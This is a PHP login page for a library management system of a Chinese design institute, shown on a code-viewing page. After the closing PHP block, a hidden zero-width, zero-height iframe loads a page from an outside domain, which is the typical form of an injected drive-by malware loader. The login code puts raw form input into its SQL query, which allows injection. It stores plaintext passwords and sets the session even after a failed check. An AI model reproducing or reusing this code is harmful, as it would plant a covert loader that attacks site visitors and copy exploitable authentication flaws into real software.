📄 index.php
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>南方装饰艺术设计院图书管理系统</title>
<script type="text/javascript" language="JavaScript1.2" src="css\stm31.js"></script>
<link href="css/css.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
body {
margin-top: 0px;
margin-bottom: 0px;
margin-left: 2px;
margin-right: 2px;
}
-->
</style></head>
<body>
<table width="995" height="73" class="titlebg">
<tr>
<td align="center" class="title">图 书 管 理 系 统</td>
</tr>
</table>
<table width="995" height="500" border="0" class="left">
<tr>
<td align="center" valign="middle">
<form action='index.php' method='post'>
<table width="300" border="1" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" class="table">
<tr>
<td height="45" colspan="2" align="center" bgcolor="#BCD2E6" class="tabletitle">请输入用户名和密码</td>
</tr>
<tr>
<td width="100" height="40" align="center" class="word">用户名</td>
<td height="40" class="word">
<input name="username" type="text" id="username" size="15"></td>
</tr>
<tr>
<td width="100" height="40" align="center" class="word">密 码</td>
<td height="40" class="word">
<input name="password" type="password" id="password" size="15"></td>
</tr>
<tr>
<td height="45" colspan="2" align="center" class="word"><input type="submit" name="submit" value="提交">
<input type="reset" name="Submit2" value="重置"></td>
</tr>
</table>
<p> </p>
<p> </p>
</form>
</td>
</tr>
</table>
<table width="995" height="30" class="titlebg">
<tr>
<td align="center" class="word">南方装饰艺术设计院版权所有 © 2007 技术支持:信息技术部</td>
</tr>
</table>
</body>
</html>
<?php
include "config.php";
if(!empty($_POST["submit"]))
{
if(empty($_POST["username"])){
echo ("<script type='text/javascript'> alert('用户名怎么能是空的呢!');history.go(-1);</script>");
}
if(empty($_POST["password"])){
echo ("<script type='text/javascript'> alert('密码也不能是空的!');history.go(-1);</script>");
}
$username= $_POST["username"]; //用户名已经记录了
$password= $_POST["password"]; //密码已经记录了
$sql="select * from admin where username='$username' and password='$password'";
$result=mysql_fetch_array(mysql_query($sql));
if(!$result){
echo ("<script type='text/javascript'> alert('用户名或密码不正确!');history.go(-1);</script>");
}
session_start();
$_SESSION["username"]="$username";
echo "<script>location.href='index1.php';</script>";
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -